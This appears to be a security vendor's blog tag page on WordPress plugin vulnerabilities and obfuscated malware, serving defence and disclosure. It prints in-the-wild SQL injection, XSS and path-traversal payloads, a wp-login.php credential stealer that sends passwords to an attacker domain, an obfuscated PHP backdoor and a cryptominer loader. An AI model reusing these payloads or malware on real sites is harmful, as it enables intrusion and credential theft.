Tag: Obfuscation

Vulnerable Plugins: June 2020 Update

This is a mid-month update to our regular Monthly Vulnerability Digest, which reveals a number of new patches for disclosed vulnerabilities.

 

Plugin Vulnerability Patched Version Installs
Elementor Page Builder Authenticated Stored XSS 2.9.10 5000000
AdRotate Authenticated SQL Injection 5.8.4 40000
Brizy - Page Builder Improper Access Controls 1.0.126 60000
Careerfy Unauthenticated XSS 3.9.0 5000
SportsPress Authenticated Stored XSS 2.7.2 20000
JobSearch Unauthenticated XSS 1.5.1 5000
Newspaper Unauthenticated XSS 10.3.4 6000
Multi Scheduler Record Deletion CSRF -- 20

 

Highlights

  • Cross-site scripting is the most common vulnerability in WordPress plugins
  • None of these plugins have been identified in massive attacks

Relevant Plugins

SportsPress

Sportspress fixed an authenticated stored cross-site scripting vulnerability in version 2.7.2. This vulnerability allows authenticated attackers to arbitrarily update the “sportspress_event_teams_delimiter” plugin option, allowing for the potential execution of malicious scripts every time the site is loaded.

Since this bug is really easy for attackers to exploit in malware campaigns, we’ve been following it closely but haven’t detected any massive abuses as an attack vector. We believe this is primarily due to the fact that the vulnerability exploit requires access to a compromised user within the vulnerable site.

 

Patch:

Index: sportspress/tags/2.7.2/includes/admin/settings/class-sp-settings-events.php
===================================================================
--- a/sportspress/tags/2.7.2/includes/admin/settings/class-sp-settings-events.php
+++ b/sportspress/tags/2.7.2/includes/admin/settings/class-sp-settings-events.php         
         if ( isset( $_POST['sportspress_event_teams_delimiter'] ) )
-            update_option( 'sportspress_event_teams_delimiter', $_POST['sportspress_event_teams_delimiter'] );
+            update_option( 'sportspress_event_teams_delimiter', sanitize_text_field( $_POST['sportspress_event_teams_delimiter'] ) );
 }

 

AdRotate

Adrotate fixed an authenticated SQL Injection in version 5.8.4. We haven’t detected any massive automated attacks targeting this plugin.

Patch:

    if(isset($_GET['status'])) $status = esc_attr($_GET['status']);
     if(isset($_GET['view'])) $view = esc_attr($_GET['view']);
     if(isset($_GET['id'])) $id = esc_attr($_GET['id']);
     if(isset($_GET['file'])) $file = esc_attr($_GET['file']);
+
+    if(!is_numeric($status)) $status = 0;
+    if(!is_numeric($id)) $id = 0;

 

The majority of the public vulnerabilities in this mid-month update require the possession of a user account within the vulnerable site, which reduces the odds of any massive infections.

That being said, to mitigate risk from these recently patched vulnerabilities we strongly encourage all affected users to update their plugins as soon as possible.

Jun 19, 2020 by John Castro

Vulnerabilities Digest: May 2020

Relevant Plugins and Vulnerabilities:

Plugin Vulnerability Patched Version Installs
WP Product Review Unauthenticated Stored XSS 3.7.6 40000
Form Maker by 10Web Authenticated SQL Injection --- 100000
Add-on SweetAlert Contact Form 7 Authenticated XSS 1.0.8 20
Paid Memberships Pro Authenticated SQL Injection 2.3.3 90000
Visual Composer Authenticated XSS 27 80000
Team Members Authenticated XSS 5.0.4 40000
Photo Gallery by 10Web Unauthenticated SQL Injection 1.5.55 300000
Login/Signup Popup Authenticated XSS 1.5 10000
Easy Testimonials Authenticated Stored XSS 3.6 30000
WooCommerce Unescaped Metadata 4.1.0 5000000
Page Builder by SiteOrigin CSRF to XSS 2.10.16 1000000
Chopslider Authenticated SQL Injection --- 200
Elementor Pro Authenticated File Upload 2.9.4 100000
LearnPress Privilege Escalation 3.2.6.9 80000
Elementor Authenticated Stored XSS 2.9.8 4000000
Avada Authenticated Stored XSS 6.2.3 500000
Ninja Forms CSRF to Stored XSS 3.4.24.2 1000000
Advanced Order Export For Woo Authenticated XSS 3.1.4 90000
Quick Page/Post redirect Authenticated Settings Update --- 100000
Ultimate Addons for Elementor Registration Bypass 1.24.2 100000
WTI Like Post Authenticated XSS --- 10000
WP-Advanced-Search Authenticated SQL Injection 3.3.7 1000
Gmedia Photo Gallery Authenticated XSS 1.18.5 10000

Highlights for May 2020

  • Cross site scripting is still the most prevalent vulnerability. Bad actors are taking advantage of the lack of restrictions in critical functions and issues surrounding user input data sanitization.
  • Unprotected AJAX action bugs are still on the rise. Attackers aren’t hesitating to automate malicious injections for vulnerable plugins.
  • Attackers have added three plugins and a series of new malicious IPs to their arsenal in an ongoing massive malware campaign targeting WordPress websites with known vulnerabilities.

Details for these highlights can be found under the components listed below.

WP Product Review

Two weeks ago, we reported an Unauthenticated Stored Cross Site Scripting in WP Product Review caused by a lack of protection in a rest route definition and improper handling of user input.

Only a few days after the disclosure of this vulnerability, attackers began to scan for vulnerable sites: 

181.58.21.65 - - [18/May/2020:17:21:10 +0000] "GET //wp-content/plugins/wp-product-review/assets/js/main.js HTTP/1.1"

139.198.16.241 - - [18/May/2020:17:15:36 +0000] "GET //wp-content/plugins/wp-product-review/readme.txt HTTP/1.1" 

185.162.127.248 - - [17/May/2020:03:38:15 +0000] "GET /wp-content/plugins/wp-product-review/assets/js/main.js HTTP/1.1" 

213.159.210.170 - - [17/May/2020:01:35:04 +0000] "GET /wp-content/plugins/wp-product-review/assets/js/main.js HTTP/1.1"

Patch (version 3.7.6):

Index: wp-product-review/trunk/includes/gutenberg/class-wppr-gutenberg.php
===================================================================
--- a/wp-product-review/trunk/includes/gutenberg/class-wppr-gutenberg.php
+++ b/wp-product-review/trunk/includes/gutenberg/class-wppr-gutenberg.php
@@ -97,4 +97,7 @@
                 'methods'  => 'POST',
                 'callback' => array( $this, 'update_review_callback' ),
+                'permission_callback' => function () {
+                    return current_user_can( 'edit_posts' );
+                },
                 'args'     => array(
                     'id' => array(

---

Index: wp-product-review/trunk/includes/functions.php
===================================================================
--- a/wp-product-review/trunk/includes/functions.php
+++ b/wp-product-review/trunk/includes/functions.php
@@ -229,5 +229,5 @@
         }
         ?>
-        <a title="<?php echo $review_object->get_name(); ?>" class="<?php echo $class_a; ?>" href="<?php echo esc_url( $image_link ); ?>" <?php echo $lightbox; ?> rel="nofollow" target="_blank">
+        <a title="<?php echo esc_attr( $review_object->get_name() ); ?>" class="<?php echo $class_a; ?>" href="<?php echo esc_url( $image_link ); ?>" <?php echo $lightbox; ?> rel="nofollow" target="_blank">
             <img
                 src="<?php echo esc_attr( $src ); ?>"

Elementor

Earlier this month, the plugin Elementor Pro fixed an arbitrary file upload vulnerability caused by an unprotected Ajax hook. It wasn’t long before attackers started exploiting this vulnerability.

Our team identified these malicious IPs trying to detect plugin installations for both Elementor Pro and Ultimate Addons for Elementor: 

69.164.207.140 - - [08/May/2020:15:59:31 +0000] "GET /wp-content/plugins/elementor-pro/assets/js/preview.min.js HTTP/1.1" 

45.79.193.100 - - [08/May/2020:16:49:13 +0000] "GET /wp-content/plugins/ultimate-elementor/assets/css/modules/business-hours.css HTTP/1.1" 

62.210.172.66 - - [10/May/2020:02:33:29 +0000] "GET /wp-content/plugins/ultimate-elementor/assets/min-js/uael-registration.min.js HTTP/1.1" 

62.210.84.69 - - [13/May/2020:08:13:57 +0000] "GET /wp-content/plugins/elementor-pro/assets/css/frontend.min.css HTTP/1.1" 

62.210.172.66 - - [13/May/2020:08:21:05 +0000] "GET /wp-content/plugins/elementor-pro/assets/css/frontend.min.css HTTP/1.1" 

[...]

Photo Gallery by 10Web

An unauthenticated SQL Injection was fixed this month in the plugin Photo Gallery.

Patch (version 1.5.55):

Index: photo-gallery/trunk/frontend/models/model.php
===================================================================
--- a/photo-gallery/trunk/frontend/models/model.php
+++ b/photo-gallery/trunk/frontend/models/model.php
@@ -197,32 +197,32 @@

   public function get_alb_gals_row( $bwg, $id, $albums_per_page, $sort_by, $order_by, $pagination_type = 0, $from = '' ) {
-    if ( $albums_per_page < 0 ) {
+    if ( $albums_per_page < 0 ) {
       $albums_per_page = 0;
     }
     global $wpdb;
-    $order_by = 'ORDER BY </span><span style='color:#02d045; '>'</span> <span style='color:#d2cd86; '>.</span> <span style='color:#d2cd86; '>(</span> <span style='color:#d2cd86; '>(</span><span style='color:#d2cd86; '>!</span>empty<span style='color:#d2cd86; '>(</span>$from<span style='color:#d2cd86; '>)</span> <span style='color:#d2cd86; '>&&</span> $from <span style='color:#d2cd86; '>===</span> <span style='color:#02d045; '>'</span><span style='color:#00c4c4; '>widget</span><span style='color:#02d045; '>'</span><span style='color:#d2cd86; '>)</span> <span style='color:#b060b0; '>?</span> <span style='color:#02d045; '>'</span><span style='color:#00c4c4; '>id</span><span style='color:#02d045; '>'</span> <span style='color:#b060b0; '>:</span> $sort_by <span style='color:#d2cd86; '>)</span> <span style='color:#d2cd86; '>.</span> <span style='color:#02d045; '>'</span><span style='color:#00c4c4; '> ' . $order_by;
-    if( $sort_by == 'random' || $sort_by == 'RAND()' ) {
-      $order_by = 'ORDER BY RAND()';
-    }
-    $search_where = '';
-    $search_value = trim( WDWLibrary::get('bwg_search_' . $bwg) );
-    if ( !empty($search_value) ) {
-      $search_keys = explode(' ', $search_value);
+    $order_by = 'ORDER BY </span><span style='color:#02d045; '>'</span> <span style='color:#d2cd86; '>.</span> <span style='color:#d2cd86; '>(</span> <span style='color:#d2cd86; '>(</span> <span style='color:#d2cd86; '>!</span>empty<span style='color:#d2cd86; '>(</span> $from <span style='color:#d2cd86; '>)</span> <span style='color:#d2cd86; '>&&</span> $from <span style='color:#d2cd86; '>===</span> <span style='color:#02d045; '>'</span><span style='color:#00c4c4; '>widget</span><span style='color:#02d045; '>'</span> <span style='color:#d2cd86; '>)</span> <span style='color:#b060b0; '>?</span> <span style='color:#02d045; '>'</span><span style='color:#00c4c4; '>id</span><span style='color:#02d045; '>'</span> <span style='color:#b060b0; '>:</span> $sort_by <span style='color:#d2cd86; '>)</span> <span style='color:#d2cd86; '>.</span> <span style='color:#02d045; '>'</span><span style='color:#00c4c4; '> ' . $order_by;
+    if ( $sort_by == 'random' || $sort_by == 'RAND()' ) {
+      $order_by = 'ORDER BY RAND()';
+    }
+    $search_where = '';
+    $search_value = trim( WDWLibrary::get( 'bwg_search_' . $bwg ) );
+    if ( !empty( $search_value ) ) {
+      $search_keys = explode( ' ', $search_value );
       $alt_search = '(';
       $description_search = '(';

Payload Used by Attackers:

185.162.127.248 -- POST -- /wp-admin/admin-ajax.php -- action=bwg_frontend_data&bwg_search_0=1%23+%25DFGDFG%22%29%29%2F%2A%2A%2FUNION%2F%2A%2A%2FALL%2F%2A%2A%2FSELECT%2F%2A%2A%2FTABLE_SCHEMA%2CTABLE_NAME%2C%27%27%2C%27%27%2C%27%27%2C%27%27%2C%27%27%2C%27%27%2C%27%27%2C%27%27%2C%27%27%2C%27%27%2C%27%27%2C%27%27%2C%27%27%2F%2A%2A%2Fas%2F%2A%2A%2Fdummy_3%2F%2A%2A%2Ffrom%2F%2A%2A%2Finformation_schema.tables%23FGDFGDFG%29%29%23&gallery_type=album_compact_preview&type_0=album -- 2020-05-17

Plugin & Theme Payloads Added to Ongoing Campaign

Malicious Domains & Detected IPs

Our team saw the following new malicious domains injected into an ongoing campaign exploiting known WordPress vulnerabilities this month: 

css[.]digestcolect[.]com
cls[.]balantfromsun[.]com
count[.]trackstatisticsss[.]com

The following IPs have also been associated with this campaign:

79.133.202.70
154.43.128.23
185.162.127.248
51.83.70.152
213.159.210.170
139.162.28.41
139.99.169.192
185.217.0.224
84.238.108.177
62.210.180.8
[...]

 

Exploit Attempts Seen in the Wild

Our team identified attacks against the following vulnerable plugins and themes.

Bold Page Builder (From Last Year)
139.162.28.41 -- POST -- /wp-admin/admin-ajax.php?action=bt_bb_set_custom_css -- css=%3C%2Fstyle%3E%3Cscript++type%3Dtext%2Fjavascript+language%3Djavascript%3Eeval%28String.fromCharCode%2832%2C40%2C102%2C117%2C110%2C99%2C116%2C105%2C111%2C110%2C40%2C41%2C32%2C123%2C10%2C32%2C32%2C32%2C32%2C118%2C97%2C114%2C32%2C101%2C108%2C101%2C109%2C32%2C61%2C32%2C100%2C111%2C99%2C117%2C109%2C101%2C110%2C116%2C46%2C99%2C114%2C101%2C97%2C116%2C101%2C69%2C108%2C101%2C109%2C101%2C110%2C116%2C40%2C39%2C115%2C99%2C114%2C105%2C112%2C116%2C39%2C41%2C59%2C32%2C10%2C9%2C101%2C108%2C101%2C109%2C46%2C116%2C121%2C112%2C101%2C32%2C61%2C32%2C39%2C116%2C101%2C120%2C116%2C47%2C106%2C97%2C118%2C97%2C115%2C99%2C114%2C105%2C112%2C116%2C39%2C59%2C32%2C10%2C32%2C32%2C32%2C32%2C101%2C108%2C101%2C109%2C46%2C115%2C114%2C99%2C32%2C61%2C32%2C39%2C104%2C116%2C116%2C112%2C115%2C58%2C47%2C47%2C99%2C108%2C115%2C46%2C98%2C97%2C108%2C97%2C110%2C116%2C102%2C114%2C111%2C109%2C115%2C117%2C110%2C46%2C99%2C111%2C109%2C47%2C99%2C108%2C115%2C46%2C106%2C115%2C63%2C122%2C61%2C54%2C38%2C39%2C59%2C10%2C32%2C32%2C32%2C32%2C100%2C111%2C99%2C117%2C109%2C101%2C110%2C116%2C46%2C103%2C101%2C116%2C69%2C108%2C101%2C109%2C101%2C110%2C116%2C115%2C66%2C121%2C84%2C97%2C103%2C78%2C97%2C109%2C101%2C40%2C34%2C104%2C101%2C97%2C100%2C34%2C41%2C91%2C48%2C93%2C46%2C97%2C112%2C112%2C101%2C110%2C100%2C67%2C104%2C105%2C108%2C100%2C40%2C101%2C108%2C101%2C109%2C41%2C59%2C10%2C32%2C32%2C125%2C41%2C40%2C41%2C59%29%29%3B%3C%2Fscript%3E%3Cstyle%3E&post_id=1 -- 2020-05-12
WP Quick Booking Manager (from 4 years ago)
139.162.28.41 - action=gen_save_cssfixfront&css=%3C%2Fstyle%3E%3Cscript+type%3D%27text%2Fjavascript%27+src%3D%27https%3A%2F%2Fcss.digestcolect.com%2Fstm%3Fv%3Dl6.0.0%27%3E%3C%2Fscript%3E%3Cstyle%3E&cssfix=front [12/May/2020:04:52:19 +0000] "POST /wp-admin/admin-ajax.php HTTP/1.1"
Duplicator Download
62.210.180.8 - - [14/May/2020:14:45:54 +0000] "GET /wp-admin/admin-ajax.php?action=duplicator_download&file=../wp-config.php HTTP/1.1"

Many other plugins are still under attack and public exploits already exist for all of the components listed above. Please check our previous lab notes for more information about this ongoing WordPress Malware campaign.

To mitigate threat, we strongly encourage you to keep your software up to date to prevent infection and mitigate risk to your environment. Websites behind the Sucuri Firewall are protected against these exploits.

May 29, 2020 by John Castro

WordPress Admin Login Stealer

During an investigation, we identified a WordPress login stealer using the PHP functions curl and file_get_contents. The malicious code was injected into the core file wp-login.php to intercept the information of a valid user and send it to the attacker.

The script gathers the site URL, IP, username and password details, then sends them to the remote site via curl. 

$url="http://".$_SERVER['HTTP_HOST'].$_SERVER['PHP_SELF'];
$ip=$_SERVER['REMOTE_ADDR'];
$ccc_url=base64_decode("aHR0cDovLzEuc2FsZWZvcnlvdS5vcmcvdG9uZy9wYS9uZXdwdy9wYXNzLnBocD9hZG1pbmlwPQ").base64_encode($ip)."&host=".base64_encode($url)."&name=".base64_encode($_POST['log'])."&password=".base64_encode($_POST['pwd']);
$ccc=@file_get_contents($ccc_url);
if(empty($ccc)){function get_pass_Html($url){$ch = curl_init();
curl_setopt ($ch, CURLOPT_URL, $url);
curl_setopt ($ch, CURLOPT_RETURNTRANSFER, 1);
curl_setopt ($ch, CURLOPT_CONNECTTIMEOUT, 1);
curl_setopt ($ch, CURLOPT_TIMEOUT, 2);
curl_exec($ch);
curl_close($ch);
return true;
}
get_pass_Html($ccc_url);
}
setcookie("whatsup","whatsupman",time()+3600*24*365);

Further analysis reveals that the base64 encoded string in this malicious script is actually the attacker’s URL: 

hxxp://[1].saleforyou[.]org/tong/pa/newpw/pass.php?adminip=

Here is the information sent via curl: 

hxxp://1[.]saleforyou[.]org/tong/pa/newpw/pass.php?adminip=$ip&host=$url&name=$_POST['log']&password=$_POST['pwd']

Malware Variants & Sub-Domains

This login stealing malware appears to have been distributed and used on other websites for about a year now. The same top-level domain has also been seen in other malware variations, but uses a different subdomain: 5[.]saleforyou[.]org 

GET_Html('http://5[.]saleforyou[.]org/ming/exam/main.php?key='.$_GET['exam']."&host=".$_SERVER['HTTP_HOST']."&www=".$www);

Another variation also appears to be collecting server IP and HTTP_HOST using a different URL on the same domain: 

curl_init();$timeout = 5;curl_setopt ($ch, CURLOPT_URL, $url);curl_setopt ($ch, CURLOPT_RETURNTRANSFER, 1); curl_setopt ($ch, CURLOPT_CONNECTTIMEOUT, $timeout);$content = curl_exec($ch);curl_close($ch);}return $content;}$jturl = "http://1[.]saleforyou[.]org/tong/get/htc/1.php?adminip=".$server_ip."&host=".$_SERVER['HTTP_HOST'];
  • saleforyou[.]org. 300 IN A 23.88.229.79 \ Enzu Inc.
  • 1.saleforyou[.]org. 300 IN A 172.246.126.170 \ Enzu Inc.
  • 2.saleforyou[.]org. 300 IN A 192.157.233.59 \ Enzu Inc.
  • 3.saleforyou[.]org. 300 IN A 192.157.233.176 \ Enzu Inc.
  • 4.saleforyou[.]org. 300 IN A 23.89.201.143 \ Enzu Inc.
  • 5.saleforyou[.]org. 300 IN A 144.208.127.115 \ Shock Hosting LLC
  • 6.saleforyou[.]org. 300 IN A 208.123.119.189 \ Shock Hosting LLC

It looks like Enzu Inc. has a long history of facilitating malware, spam, and general abuse; their IPs are listed in Stop Badware’s top 50 lists:

Each subdomain is being used for a different campaign, with some hosted on different servers — and even different datacenters.

Related Domains

Another domain, bingstyle[.]com, appears to be related. Attackers are using a similar URL structure for malicious files: tong/pa/pass.php

  • bingstyle[.]com. 300 IN A 104.31.70.141
  • bingstyle[.]com. 300 IN A 104.31.71.141

These Virustotal results suggest a relationship to saleforyou[.]org, or at least the same group: https://www.virustotal.com/gui/domain/bingstyle.com/relations

Unfortunately, bingstyle[.]com is using CloudFlare and we are unable to tell exactly where it's hosted.

Mitigation Steps

Login credential stealers like this one can easily be used as a backdoor to maintain unauthorized access to a website long after the initial infection. The malicious script will simply continue to send the stolen login credentials to the attacker until it is removed from the compromised environment.

To catch these types of infections, set up and maintain a file monitoring system to alert you to any changes in your core WordPress files and detect malicious activity along with other indicators of compromise.

Apr 27, 2020 by Krasimir Konov

Web Skimmer With a Domain Name Generator –...

This note is a follow up to our recent post about a web skimmer that uses a dynamic domain name generating algorithm. This week, analyst Ben Martin found another variation of the same malware. The script looks very similar.

web skimmer domain name generator

The changes here are pretty minor: it uses a “ql” domain prefix instead of “qr” and the Math.sin() function instead of Math.cos(). This new variation also uses the name of the compromised site as the script path on the generated malicious domain.

[location.host,'js'].join('.')

Otherwise, the idea is identical — the generated domain names are based on the current month and year. As seen in the original post, the domains for March through December of 2020 are already registered.

March ql202141[.]pw
April ql201243[.]pw
May ql201041[.]pw
June ql201721[.]pw
July ql202657[.]pw
August ql202989[.]pw
September ql202412[.]pw
October ql201456[.]pw
November ql201000[.]pw
December ql201463[.]pw

All of these domains were registered on March 13th, 2020 within one minute by a user with the email valentinakrudyanova@yandex.ru. Domains from the original post were registered on March 18th, 2020, indicating that this “ql” variation is a predecessor for the “qr” campaign.

A URL scan indicates that this variant has been in use since mid-March: ql202141.]pw domain.

The obfuscated scripts served by the generated domains are web skimmers similar to what we described in the previous post. In this case, they send stolen data to hxxps://mykada[.]com/js/ar/ar7938.php, a domain previously mentioned in a February post by Marco Ramilli. Back then, the malware was also found to be using exfiltration URLs like hxxps://mykada[.]com/js/ar/ar2497.php.

If you believe your Magento website has been infected, you can refer to our hacked Magento guide for step-by-step instructions on how to remove malware and harden a compromised environment.

Apr 23, 2020 by Denis Sinegubko

array_diff_ukey Usage in Malware Obfuscation

We discovered a PHP backdoor on a WordPress installation that contained some interesting obfuscation methods to keep it hidden from prying eyes:

$zz1 = chr(95).chr(100).chr(101).chr(115).chr(116).chr(105).chr(110).chr(97).chr(116).chr(105).chr(111).chr(110);
$ss2 = chr(102).chr(105).chr(108).chr(101).chr(95).chr(112).chr(117).chr(116).chr(95)."content".chr(115);
$bs = chr(98).chr(97).chr(115).chr(101)."64"."_".chr(100).chr(101).chr(99).chr(111).chr(100).chr(101);
$bngd = chr(60).chr(63).chr(112).chr(104).chr(112).chr(32);
$b = $bngd.$bs($_REQUEST[chr(100).chr(49)]);
@array_diff_ukey(@array((string)($zz1) => 1), @array((string)($b) => 2), $ss2);
@include($zz1);
@unlink($zz1);

The five separate variables ($zz1, $ss2, $bs, $bngd, $b) are obfuscated by converting their values from a decimal value to its normal ASCII character using the chr function (see this chart for more info on character conversions). Usually, this is seen in PHP malware obfuscation.

@array_diff_ukey(@array((string)($zz1) => 1), @array((string)($b) => 2), $ss2);
@include($zz1);
@unlink($zz1);

What isn’t seen as often is the use of array_diff_ukey to obfuscate how the backdoor uses file_put_contents:

array_diff_ukey is a PHP function that compares two arrays using another function which is defined by the user—in this case, it is file_put_contents.
The first array is constructed using the filename defined in the $zz1 variable that will be injected with PHP code.
The second array is hiding the PHP code that will be used in the injection:

<?php base64_decode($_REQUEST[d1])

This PHP code will allow the hacker to decide what code will then be evaluated later. They pass the PHP code to the file by submitting a base64-encoded HTTP request containing the PHP code.
The final part of the array_diff_ukey is the function that should be used to compare the two arrays, but in this case the comparison uses file_put_contents to inject the above PHP code into the filename from $zz1.

After the PHP code injection, the backdoor then uses the include function to evaluate the injected file’s PHP code before it finally deletes the injected file using unlink.

You can see the base64-encoded string in the browser’s URL which decodes to the PHP code to be evaluated:

echo "You've been hacked!";

This type of obfuscation is useful for rearranging the normal format of file_put_contents, which is a function that is commonly used in malware. So if you want to remain undetected, then obfuscating it within the backdoor code would be helpful.

May 14, 2019 by Luke Leal

Array string obfuscation

We continue to see an increase in the number of these PHP injections that use multiple obfuscation methods to evade detection, but lately one method has been increasingly utilized:

$GZN = "aT7k JdM_0VN5/Y1qQt
ym'oL*eIGS:c+ZhCbpREi)63rHBzDsXxOfKw;,.Wvn4=(lu9UjgF8AP2";
$hfl = $GZN[31].$GZN[0].$GZN[65].$GZN[65].$GZN[8].$GZN[66].$GZN[49].$GZN[26].$GZN[44].$GZN[8].$GZN[53].$GZN[66].$GZN[61].$GZN[31];
$fMk = $GZN[31].$GZN[44].$GZN[26].$GZN[0].$GZN[18].$GZN[26].$GZN[8].$GZN[53].$GZN[66].$GZN[61].$GZN[31].$GZN[18].$GZN[40].$GZN[23].$GZN[61]...

This obfuscation method uses a variable ($GZN) to store a long string of characters that look as if they could be encoded or encrypted as they are unintelligible usually. A second variable, ($hfl), is then created and assigned PHP code that is generated by using the first $GZN long string and specific numbers that correspond to the string array's indices or characters in this case. We end up with the function call_user_func after deobfuscating the $hfl variable, which you can see yourself by looking up the corresponding string value for the $GZN[ numbers (i.e 31 matches to character c - just remember the array starts at 0 so in the string the character c is actually the 32nd position). This process is repeated for the other variables as there are little to no PHP functions in plain text.

After repeating the process to deobfuscate all the other variables, we end up with the following - which looks to be where the actual action happens:

@$hfl($fMk($JLU,$GAa($Fd3($GZN[22].$GZN[33].$GZN[14].$GZN[13].$GZN[46].$GZN[29].$GZN[72].$GZN[7].$GZN[55].$GZN[28].$GZN[7].$GZN[50].$GZN[13].$GZN[65].$GZN[6].$GZN[73].$GZN[11].$GZN[3].$GZN[9].$GZN[46]

We can use the same method as before to deobfuscate the above PHP code to something more readable:

call_user_func(create_function(gzinflate(base64_decode('\''.'ZY/BS8MwGMX/ldANk0BpLx7E0dkdil4cMqsXGeFbmyahaVKar+Iw/u9uzIPi6fHj8R7vmY6wcpykEgNgoxldKO+VlXEILh6MUxEswrsJCBFCH4+gvY/g7cLQlJRL8VztXqvdG32o6yfxciKxua+2Nd1z/rnU7TUpSMBJwiAa71B+oGhOhJLBNMGRUY040mL9Q2gG6WekpFiTG875ishGe1J2xkqhJF5KHAaWnIO3ed6qHoINrc7CnFvX590hG/V41xZJ9mveRcV281jRfZZczX/tf+tT0oENMiXnD3z19Q0='.'\''))),'1','1');

The final step is to just deobfuscate the actual malicious payload of the file, which in this case is just gz compressed and encoded with base64, so either using a tool or just PHP code will allow you to deobfuscate it quickly:

if (@preg_match('#google|msn|bing|altavista|ask|yahoo|aol#i', @$_SERVER['HTTP_USER_AGENT'])){
    $hd4 = stream_context_create(array('http'=>array('timeout' => 8))); echo @file_get_contents("http://[redacted]/lnk/fb.php?d=".@$_SERVER['SERVER_NAME']."&u=".@$_SERVER['HTTP_USER_AGENT'], false, $hd4);
    }

It turns out to be another SEO spam injection targeting search engine crawler user-agents and serving them specific URLs that they wish to increase in their rankings or keywords, however in this case it happened to be hidden under layers of obfuscation to help avoid any detection.

Dec 6, 2018 by Luke Leal

Obfuscated JavaScript Crypto Miner

During an incident response investigation, we detected an interesting piece of heavily obfuscated JavaScript malware. Once decoded, Crypto Miners were ran on customers visiting the website.

By looking at the following malware this can be discouraging and frightening, but let’s review the malware code and see how the attacker cleverly created Crypto Miner code which was placed into the ./wp-content/themes/responsive/header.php file:

< script >$=~[];$={___:++$,$$$$:(![]+"")[$],__$:++$,$_$_:(![]+"")[$],_$_:++$,$_$$:({}+"")
[$],$$_$:($[$]+"")[$],_$$:++$,$$$_:(!""+"")[$],$__:++$,$_$:++$,$$__:({}+"")
[$],$$_:++$,$$$:++$,$___:++$,$__$:++$};$.$_=($.$_=$+"")[$.$_$]+($._$=$.$_[$.__$])+
($.$$=($.$+"")[$.__$])+((!$)+"")[$._$$]+($.__=$.$_[$.$$_])+($.$=(!""+"")[$.__$])+($._=(!""+"")
[$._$_])+$.$_[$.$_$]+$.__+$._$+$.$;$.$$=$.$+(!""+"")[$._$$]+$.__+$._+$.$+$.$$;$.$=($.___)
[$.$_][$.$_];$.$($.$($.$$+"\""+"\\"+$.__$+$.$$_+$.$$_+$.$_$_.
…...

The attacker placed the code at the top of a legit file. When the website is opened, it executed the JavaScript code and started mining Cryptocurrencies.

Let’s work through the malicious code step by step to see how it works.

The first step is to get the code to make more sense, so we are going to get it in a more readable format.

The malicious code was placed between the opening and closing JavaScript tags as indicated below:

< script >
    $ = ~[];
    $ = {
        ___: ++$,
        $$$$: (![] + "")[$],
        __$: ++$,
        $_$_: (![] + "")[$],
        _$_: ++$,
        $_$$: ({} + "")[$],
        $$_$: ($[$] + "")[$],
        _$$: ++$,
        $$$_: (!"" + "")[$],
        $__: ++$,
        $_$: ++$,
        $$__: ({} + "")[$],
        $$_: ++$,
        $$$: ++$,
        $___: ++$,
        $__$: ++$
    };
.....

Once the obfuscated malware has been decoded, it contained the following JavaScript code that will be used in the next phase of the Cryptocurrency.

If we look at the malicious code, we can see that the variable “el” contains a script object that will be pulling the final Crypto Miner payload from “web[.]clod[.]pw”

var el = document.createElement('script');el.src='https://web[.]clod[.]pw/js/YQHHAAUDYwBFglDXg0VSBVWyEDQ5dxGCBTN…….

In comparison, let’s look at the Crypto Miner payload that was pulled from “web[.]clod[.]pw” and see how it works.

This is a small piece of the malware that was pulled:

var _0xce82=['Y3VycmVudEpvYg==','WGZxVlU=','Z2V0VG90YWxIYXNoZXM=','dmxH','ZlBsVHA=','UmhsVEQ=','Tndoa0k=','RkhQZ2c=','Z2V0QWNjZXB0ZWRIYXNoZXM=','VXZV','WnZa','aHJjYWQ=','anB1cXI=','dGtMSkE=',
…...

Once we decode the content that was pulled from “web[.]clad[.]pw”, we see it contains many functions to check for crawlers and mobile devices and then decides whether it can start the Crypto miners:

if (/(android|bb\d+|meego).+mobile|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop
|iemobile|ip(hone|od)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i
|palm( os)?|phone|p(ixi|re)\/|plucker|pocket|psp|series(4|6)0|symbian|treo|up\.
(browser|link)|vodafone|wap|windows ce|xda|xiino/i [_0x2ce8('0x7d')](b) || 
/1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|
as(te|us)|attw|au(di|\-m|r |s ….

After all the functions have been tested and verified, it will run the Cryptocurrency miner and execute the Crypto miner script by way of your computer hardware.The mining process will start mining Cryptocurrency for the hacker:

if (![]) {
    if (document[_0x2ce8('0xae')][_0x2ce8('0xaf')](/google|yandex|mail|vk.com|ask|bing/) || localStorage[_0x2ce8('0xb0')](_0x2ce8('0xab'))
 || sessionStorage && sessionStorage[_0x2ce8('0xb0')](_0x2ce8('0xab')))
 {
        localStorage[_0x2ce8('0xb2')]
(_0x2ce8('0xab'), 0x1);
        sessionStorage[_0x2ce8('0xb2')]
(_0x2ce8('0xab'), 0x1);
        runMiner();

    }
} else {
    runMiner();
}
if (document[_0x2ce8('0x1d3')]) {
    var node = document[_0x2ce8('0x1d3')](_0x2ce8('0x1cd'));
    if (node && node[_0x2ce8('0x1d5')]) {
        node[_0x2ce8('0x1d5')]();
    }
}

If you think your website is infected, you can always trust the engineers from Sucuri to check it and clean it for you by visiting and subscribing at https://sucuri.net.

Aug 1, 2018 by Samuel Odendaal